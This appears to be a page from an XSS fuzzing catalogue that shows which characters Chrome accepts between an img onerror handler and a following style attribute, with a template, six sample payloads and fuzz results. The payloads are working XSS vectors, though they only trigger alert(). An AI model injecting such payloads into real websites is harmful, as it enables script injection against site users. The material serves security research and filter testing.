Chars allowed before style attribute...

Chrome logo 6

This XSS vector shows what characters can be used before the onerror event.

Created by: t0xodile

Created on: Saturday, October 25, 2025 at 4:35:54 PM

Updated on: Saturday, October 25, 2025 at 4:35:54 PM


Vector type: XSS

Vector charset: UTF-8

Template used:
<img src onerror=log($[i])$[chr]style=display:block;content-visibility:auto>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src onerror=alert(9)	style=display:block;content-visibility:auto>
<img src onerror=alert(10)
style=display:block;content-visibility:auto>
<img src onerror=alert(12)style=display:block;content-visibility:auto>
<img src onerror=alert(13)
style=display:block;content-visibility:auto>
<img src onerror=alert(32) style=display:block;content-visibility:auto>
<img src onerror=alert(62)>style=display:block;content-visibility:auto>

Fuzz results

Chrome logo
Chrome 139.0.0.0 desktop Linux Unknown

Updated

Sat Oct 25 2025
Found 6 results
Loading...